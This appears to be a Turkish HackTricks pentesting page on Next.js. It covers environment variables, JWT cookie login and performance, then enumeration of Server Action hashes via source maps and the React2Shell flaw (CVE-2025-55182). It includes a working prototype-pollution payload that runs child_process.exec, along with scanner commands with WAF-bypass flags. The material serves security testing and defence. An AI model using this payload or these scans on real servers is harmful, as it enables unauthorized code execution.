Amaç: Hassas bilgileri ve yapılandırma ayarlarını kod tabanının dışında yönetmek.
En İyi Uygulamalar:
.envDosyalarını Kullanın: API anahtarları gibi değişkenleri.env.localiçinde saklayın (sürüm kontrolünden hariç).- Değişkenlere Güvenli Erişim: Ortam değişkenlerine erişmek için
process.env.VARIABLE_NAMEkullanın. - Gizli Bilgileri İstemci Tarafında Asla Açığa Çıkarmayın: Hassas değişkenlerin yalnızca sunucu tarafında kullanıldığından emin olun.
Örnek:
// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}
Not: Değişkenleri yalnızca sunucu tarafında sınırlamak için, onları env nesnesinden çıkarın veya istemciye açmak için NEXT_PUBLIC_ ile önekleyin.
Kimlik Doğrulama ve Yetkilendirme
Yaklaşım:
- Oturum Tabanlı Kimlik Doğrulama: Kullanıcı oturumlarını yönetmek için çerezleri kullanın.
- Token Tabanlı Kimlik Doğrulama: Durumsuz kimlik doğrulama için JWT’leri uygulayın.
- Üçüncü Taraf Sağlayıcılar:
next-authgibi kütüphaneler kullanarak OAuth sağlayıcılarıyla (ör. Google, GitHub) entegre edin.
Güvenlik Uygulamaları:
- Güvenli Çerezler:
HttpOnly,SecureveSameSiteözniteliklerini ayarlayın. - Parola Hashleme: Parolaları depolamadan önce her zaman hashleyin.
- Girdi Doğrulama: Girdileri doğrulayarak ve temizleyerek enjeksiyon saldırılarını önleyin.
Örnek:
// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"
export default async function handler(req, res) {
const { username, password } = req.body
// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}
Performans Optimizasyonu
Stratejiler:
- Görüntü Optimizasyonu: Otomatik görüntü optimizasyonu için Next.js’in
next/imagebileşenini kullanın. - Kod Bölme: Dinamik importları kullanarak kodu bölün ve ilk yükleme sürelerini azaltın.
- Önbellekleme: API yanıtları ve statik varlıklar için önbellekleme stratejileri uygulayın.
- Tembel Yükleme: Bileşenleri veya varlıkları yalnızca gerektiğinde yükleyin.
Örnek:
// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"
const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})
Next.js Server Actions Enumeration (hash to function name via source maps)
Modern Next.js uses “Server Actions” that execute on the server but are invoked from the client. In production these invocations are opaque: all POSTs land on a common endpoint and are distinguished by a build-specific hash sent in the Next-Action header. Örnek:
POST /
Next-Action: a9f8e2b4c7d1...
productionBrowserSourceMaps etkinleştirildiğinde, minified JS parçaları createServerReference(...) çağrılarını içerir; bunlar action hash ile orijinal fonksiyon adı arasındaki eşlemeyi geri kazanmak için yeterli yapı (ve ilişkili source map’ler) leak eder. Bu, Next-Action’ta gözlemlenen hash’leri deleteUserAccount() veya exportFinancialData() gibi somut hedeflere çevirmenizi sağlar.
Çıkarma yaklaşımı (minified JS üzerinde regex + isteğe bağlı source map’ler)
İndirilen JS parçalarında createServerReference arayın ve hash ile fonksiyon/kaynak sembolünü çıkarın. İki kullanışlı desen:
# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)
# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
- Grup 1: server action hash (40+ hex chars)
- Grup 2: sembol veya, source map mevcutsa orijinal fonksiyon adına çözülebilen yol
If the script advertises a source map (trailer comment //# sourceMappingURL=<...>.map), fetch it and resolve the symbol/path to the original function name.
Pratik iş akışı
- Gözatma sırasında pasif keşif: istekleri
Next-Actionheader’ları ve JS chunk URL’leri ile yakalayın. - Başvurulan JS bundle’larını ve beraberindeki
*.mapdosyalarını (varsa) çekin. - Yukarıdaki regex’i çalıştırarak bir hash↔isim sözlüğü oluşturun.
- Test hedeflemede sözlüğü kullanın:
- İsim tabanlı triage (ör.
transferFunds,exportFinancialData). - Fonksiyon ismine göre build’ler arası kapsamı takip edin (hash’ler build’ler arasında döner).
- İsim tabanlı triage (ör.
Gizli actions’ları çalıştırma (şablon-temelli istek)
Proxy’de gözlemlenen geçerli bir POST’u şablon olarak alın ve başka bir keşfedilmiş action’ı hedeflemek için Next-Action değerini değiştirin:
# Before
Next-Action: a9f8e2b4c7d1
# After
Next-Action: b7e3f9a2d8c5
Repeater’da yeniden oynatın ve aksi takdirde erişilemeyen eylemlerin yetkilendirmesini, giriş doğrulamasını ve iş mantığını test edin.
Burp otomasyonu
- NextjsServerActionAnalyzer (Burp uzantısı) yukarıdakileri Burp içinde otomatikleştirir:
- JS chunk’ları için proxy geçmişini tarar,
createServerReference(...)girdilerini çıkarır ve mevcutsa source map’leri çözer. - Aranabilir bir hash↔function-name sözlüğü tutar ve function name’e göre build’ler arasında yinelenenleri kaldırır.
- Geçerli bir template POST’u bulup hedef action’ın hash’i yerleştirilmiş, gönderilmeye hazır bir Repeater sekmesi açabilir.
- Repo: https://github.com/Adversis/NextjsServerActionAnalyzer
Notlar ve sınırlamalar
- İsimleri bundle/source map’lerinden kurtarmak için production’da
productionBrowserSourceMapsetkin olmasını gerektirir. - Function-name disclosure tek başına bir güvenlik açığı değildir; bunu keşfi yönlendirmek ve her action’ın yetkilendirmesini test etmek için kullanın.
React Server Components Flight protocol deserialization RCE (CVE-2025-55182)
Next.js App Router dağıtımları, Server Actions’ı react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) üzerinde açığa çıkarıyorsa, Flight chunk deserialization sırasında kritik bir server-side prototype pollution içerir. Bir Flight payload’u içinde $ referansları oluşturarak bir saldırgan, kirlenmiş prototiplerden rastgele JavaScript yürütmeye ve ardından Node.js sürecinde OS komut yürütmeye pivot yapabilir.
NodeJS - proto & prototype Pollution
Flight chunk’larındaki saldırı zinciri
- Prototype pollution primitive: Set
"then": "$1:__proto__:then"so that the resolver writes athenfunction onObject.prototype. Sonrasında işlenen herhangi bir düz nesne thenable hâline gelir ve saldırganın RSC iç mantığındaki async kontrol akışını etkilemesine izin verir. - Rebinding to the global
Functionconstructor: Point_response._formData.getat"$1:constructor:constructor". Çözümleme sırasında,object.constructor→Object, veObject.constructor→Functionolacağından, gelecekte_formData.get()çağrıları aslındaFunction(...)çalıştırır. - Code execution via
_prefix: Place JavaScript source in_response._prefix. Kirlenmiş_formData.getçağrıldığında frameworkFunction(_prefix)(...)değerlendirmesini yapar, bu yüzden enjekte edilen JSrequire('child_process').exec()veya başka herhangi bir Node ilkelini çalıştırabilir.
Payload skeleton
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}
React Server Function maruziyetinin haritalanması
React Server Functions (RSF), ‘use server’; yönergesini içeren herhangi bir fonksiyondur. Bu fonksiyonlardan birine bağlı her form action, mutation veya fetch helper, attacker-supplied payload’ları memnuniyetle deserialize edecek bir RSC Flight endpoint’e dönüşür. React2Shell değerlendirmelerinden türetilen faydalı keşif adımları:
- Statik envanter: Yönergeyi arayın; framework tarafından otomatik olarak kaç RSF’nin açığa çıktığını anlamak için.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
- App Router defaults:
create-next-appvarsayılan olarak App Router +app/dizinini etkinleştirir; bu, her route’u sessizce bir RSC-yetkin endpoint’e çevirir. App Router varlıkları (ör./_next/static/chunks/app/) veyatext/x-componentüzerinden Flight chunk’larını stream eden yanıtlar güçlü Internet-facing parmak izleridir. - Implicitly vulnerable RSC deployments: React’in kendi bildirimi, RSC runtime’ını taşıyan uygulamaların açık RSFs olmadan bile sömürülebilir olabileceğini not eder; bu yüzden
react-server-dom-*19.0.0–19.2.0 kullanan herhangi bir build’i şüpheli sayın. - Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, vb. aynı serializer’ı yeniden kullanır ve düzeltilmiş React build’lerini embed edene kadar aynı uzak saldırı yüzeyini miras alırlar.
Sürüm kapsamı (React2Shell)
react-server-dom-webpack,react-server-dom-parcel,react-server-dom-turbopack: etkilenebilir sürümler 19.0.0, 19.1.0–19.1.1 ve 19.2.0; sırasıyla düzeltilmiş sürümler 19.0.1, 19.1.2 ve 19.2.1.- Next.js stable: App Router sürümleri 15.0.0–16.0.6 zayıf RSC yığınını embed eder. Patch trenleri 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 düzeltilmiş bağımlılıkları içerir; bu nedenle bu sürümlerin altındaki herhangi bir build yüksek değer taşır.
- Next.js canary:
14.3.0-canary.77+ayrıca hatalı runtime’ı içerir ve şu anda düzeltilmiş canary drops yok, bu yüzden bu parmak izleri güçlü exploitation adaylarıdır.
Remote detection oracle
Assetnote’ın react2shell-scanner candidate path’lere crafted multipart Flight isteği gönderir ve sunucu tarafı davranışı izler:
- Default mode deterministik bir RCE payload’u çalıştırır (matematiksel işlem
X-Action-Redirectaracılığıyla yansıtılır) ve kod çalıştırmayı kanıtlar. --safe-checkmode kasıtlı olarak Flight mesajını bozar; böylece yamalanmış sunucular200/400dönerken, zayıf hedefler gövdedeE{"digest"alt dizisini içerenHTTP/500yanıtları verir. Bu(500 + digest)çifti şu anda savunucular tarafından yayımlanan en güvenilir remote oracle’dır.- Dahili
--waf-bypass,--vercel-waf-bypassve--windowsanahtarları payload düzenini ayarlar, çöp verisi önekler ekler veya işletim sistemi komutlarını değiştirir; böylece gerçek Internet varlıklarını sorgulayabilirsiniz.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json
Referanslar
- Pentesting Next.js Server Actions — Hash-to-Function Mapping için Bir Burp eklentisi
- NextjsServerActionAnalyzer (Burp eklentisi)
- CVE-2025-55182 React Server Components Remote Code Execution Exploit Tool
- CVE-2025-55182 & CVE-2025-66478 React2Shell – Bilmeniz Gereken Her Şey
- assetnote/react2shell-scanner
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking’i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter’da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks

